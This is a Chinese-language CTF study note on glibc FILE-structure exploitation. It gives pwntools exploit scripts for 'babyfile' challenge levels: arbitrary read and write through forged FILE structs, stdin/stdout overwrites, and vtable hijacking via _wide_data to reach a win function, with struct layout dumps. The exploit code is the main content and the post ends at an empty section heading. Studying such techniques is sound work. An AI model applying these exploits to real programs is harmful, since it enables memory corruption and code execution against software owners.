File Struct 利用手法

2025-04-21

1. 任意地址读

前提条件:能够控制file_struct结构体,且能调用fwrite函数

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

binary_path = "./babyfile_level1"
binary_path = "/challenge/babyfile_level1"
p = process(binary_path)
p.recvuntil(b"The flag has been read into memory and is located at ")
secret = int(p.recvline().strip(b"\n"),16)
log.success(f"secret: {hex(secret)}")

#利用部分,可以借助pwntools工具的强大库函数帮助我们生成想要的结构体,十分方便
file = FileStructure()
payload = file.write(secret,0x30)  
print(file)
"""
{ flags: 0x800
 _IO_read_ptr: 0x0
 _IO_read_end: 0x4040e0
 _IO_read_base: 0x0
 _IO_write_base: 0x4040e0
 _IO_write_ptr: 0x404110
 _IO_write_end: 0x0
 _IO_buf_base: 0x0
 _IO_buf_end: 0x0
 _IO_save_base: 0x0
 _IO_backup_base: 0x0
 _IO_save_end: 0x0
 markers: 0x0
 chain: 0x0
 fileno: 0x1
 _flags2: 0x0
 _old_offset: 0xffffffffffffffff
 _cur_column: 0x0
 _vtable_offset: 0x0
 _shortbuf: 0x0
 unknown1: 0x0
 _lock: 0x0
 _offset: 0xffffffffffffffff
 _codecvt: 0x0
 _wide_data: 0x0
 unknown2: 0x0
 vtable: 0x0
"""
p.send(payload)
p.interactive()

1.1 变体: 利用stdout来任意地址读

前提条件:能够修改stdout结构体,知道要泄露的地址,调用puts/printf等函数
核心思路还是没变。

1. 调用puts/printf等函数时,发现缓冲区已满,打印缓冲区
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

#binary_path = "./babyfile_level5"
binary_path = "/challenge/babyfile_level5"

p = process(binary_path)
p.recvuntil(b"The flag has been read into memory and is located at ")
secret_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"secret_addr: {hex(secret_addr)}")

p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
fp = FileStructure()
payload = fp.write(secret_addr,0x30)
p.send(payload)

p.interactive()

2. 任意地址写

前提条件:能够控制file_struct结构体,且能调用fread函数

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
context.terminal = ["tmux","splitw","-h"]

binary_path = "./babyfile_level2"
#binary_path = "/challenge/babyfile_level2"

p = process(binary_path)
p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
#gdb.attach(p,"b *0x401A61")
#pause()

# file struct construction
file = FileStructure()
payload = file.read(0x4041F8,0x101) # 注意,read设置的buffer_size,必须大于fread读取的字节数;我猜测这么做的原因是,如果file_buf太小,就没必要拷贝到file_buf中了,直接拷贝到目标buffere中即可
print(file)
"""
{ flags: 0x0
 _IO_read_ptr: 0x0
 _IO_read_end: 0x0
 _IO_read_base: 0x0
 _IO_write_base: 0x0
 _IO_write_ptr: 0x0
 _IO_write_end: 0x0
 _IO_buf_base: 0x4041f8
 _IO_buf_end: 0x4041fc
 _IO_save_base: 0x0
 _IO_backup_base: 0x0
 _IO_save_end: 0x0
 markers: 0x0
 chain: 0x0
 fileno: 0x0
 _flags2: 0x0
 _old_offset: 0xffffffffffffffff
 _cur_column: 0x0
 _vtable_offset: 0x0
 _shortbuf: 0x0
 unknown1: 0x0
 _lock: 0x0
 _offset: 0xffffffffffffffff
 _codecvt: 0x0
 _wide_data: 0x0
 unknown2: 0x0
 vtable: 0x0}
"""
print(payload)
p.send(payload)

p.recvuntil(b"Here is the contents of the FILE structure.")
p.send(b"a"*0x100)
p.interactive()

2.1 变体:利用stdin任意地址写

前提条件:能够修改stdin结构体,知道要泄露的地址,调用scanf等函数

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

#binary_path = "./babyfile_level6"
binary_path = "/challenge/babyfile_level6"

p = process(binary_path)
#gdb.attach(p,"b *0x401A3F")

p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
fp = FileStructure()
payload = fp.read(0x4041F8,0x30)
p.send(payload)

p.recvuntil(b"Please log in.")
p.send(b"\x01\n")
p.interactive()

3. 劫持vtable

前提条件: 1、知道libc地址和可控的内存地址 2、能修改FILE结构体

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

#binary_path = "./babyfile_level7"
binary_path = "/challenge/babyfile_level7"
p = process(binary_path)
# gdb.attach(p,"b fwrite")
# pause()

# 1. get libc_addr
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr -0x84420 


# 2. get control_mem addr
p.recvuntil(b"[LEAK] The name buffer is located at: ")
buf_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"buf_addr: {hex(buf_addr)}")

# 3. construct fake wide_data and vtable
win_addr = 0x4012E6
p.recvuntil(b"Please enter your name.")
payload = b"\x00"*0x68+p64(win_addr)+b"\x00"*(0xe0-0x70)+p64(buf_addr)
p.send(payload)

# 4. construct file_struct
p.recvuntil(b"Now reading from stdin directly to the FILE struct.")
fp = FileStructure()
fp._lock = buf_addr #  *buf_addr = 0
fp._wide_data = buf_addr
fp.vtable = libc_base+0x1E8F78-0x38
p.send(bytes(fp))
# p.send(fp)

p.interactive()

3.1 变种1: 只有一个内存空间可写时,如何同时构造file_struct和vtable

在这种情况下,因为要在一个内存内同时构造多个结构,熟悉file_struct中各个地址的布局就很重要:

fp -> 0x377f73b0
0x00	_flags 			*0x377f73b0 = 0xfbad2484
0x08	_IO_read_ptr 		*0x377f73b8 = (nil)
0x10	_IO_read_end 		*0x377f73c0 = (nil)
0x18	_IO_read_base 		*0x377f73c8 = (nil)
0x20	_IO_write_base 		*0x377f73d0 = (nil)
0x28	_IO_write_ptr 		*0x377f73d8 = (nil)
0x30	_IO_write_end 		*0x377f73e0 = (nil)
0x38	_IO_buf_base 		*0x377f73e8 = (nil)
0x40	_IO_buf_end 		*0x377f73f0 = (nil)
0x48	_IO_save_base 		*0x377f73f8 = (nil)
0x50	_IO_backup_base 	*0x377f7400 = (nil)
0x58	_IO_save_end 		*0x377f7408 = (nil)
0x60	_markers 		*0x377f7410 = (nil)
0x68	_chain 			*0x377f7418 = 0x7b96880295c0
0x70	_fileno 		*0x377f7420 = 3
0x74	_flags2 		*0x377f7424 = 0
0x78	_old_offset 		*0x377f7428 = 0
0x80	_cur_column 		*0x377f7430 = 0
0x82	_vtable_offset 		*0x377f7432 = 0
0x83	_shortbuf 		*0x377f7433 = 51
0x88	_lock 			*0x377f7438 = 0x377f7490
0x90	_offset 		*0x377f7440 = -1
0x98	_codecvt 		*0x377f7448 = (nil)
0xa0	_wide_data 		*0x377f7450 = 0x377f74a0
0xa8	_freeres_list 		*0x377f7458 = (nil)
0xb0	_freeres_buf 		*0x377f7460 = (nil)
0xb8	__pad5 			*0x377f7468 = 0
0xc0	_mode 			*0x377f7470 = 0
0xc4	_unused2[20] 		*0x377f7474 = {0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0}
0xd8    _vtable
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

binary_path = "./babyfile_level8"
#binary_path = "/challenge/babyfile_level8"
p = process(binary_path)
gdb.attach(p,"b fwrite")
pause()

# 1. get libc_addr
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr -0x84420 


# 2. get buf_addr
p.recvuntil(b"[LEAK] You are writing to: ")
buf_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"buf_addr: {hex(buf_addr)}")


# 3. overwrife file_struct,construct vtable, _wide_data,
win_addr = 0x4012E6
fp = FileStructure()
fp._lock = buf_addr  # file_struct+0x88   #如果不想_lock破坏结构,可以让_lock写在程序的最底部,比如buf_addr+0xe8的位置。
fp._wide_data = buf_addr # file_struct+0xa0
fp.vtable = libc_base+0x1E8DF8-0x38 # file_struct+0xd8 = exploit_vtable1
fp.chain = win_addr  # exploit_vtable2 +0x68 = win_addr
payload = bytes(fp)+p64(buf_addr) # wide_data+0xe0 = exploit_vtable2
p.send(payload)
p.interactive()

3.2 变种2:覆盖stdout(IO_2_1_stdout) file结构体,同时构造file_struct和vtable

这种情况要求能够覆盖stdout file结构体,且执行printf/puts等函数
但是有个问题是你修改了stdout结构体后,几乎不可能输出内容了,所以这种情况最好还是能执行类似chmod 777 /flag类似的命令

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

#binary_path = "./babyfile_level9"
binary_path = "/challenge/babyfile_level9"
p = process(binary_path)
#gdb.attach(p,"b *0x401A16")
#pause()

# 1. get libc_addr
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr -0x84420 
stdout_addr = libc_base +0x1ED6A0
log.success(f"stdout_addr: {hex(stdout_addr)}")

# 2. overwrife file_struct,construct vtable, _wide_data,
win_addr = 0x401866
fp = FileStructure()
fp._lock = stdout_addr  # file_struct+0x88
fp.vtable = libc_base+0x1E8DF8-0x38 # file_struct+0xd8
fp._wide_data = stdout_addr # file_struct+0xa0
fp.chain = win_addr  # exploit_vtable2 +0x68
payload = bytes(fp)+p64(stdout_addr) # wide_data+0xe0

p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
p.send(payload)
p.interactive()

4. 综合利用部分

所谓综合利用,大概就是堆分配+file_struct

4.1 任意地址读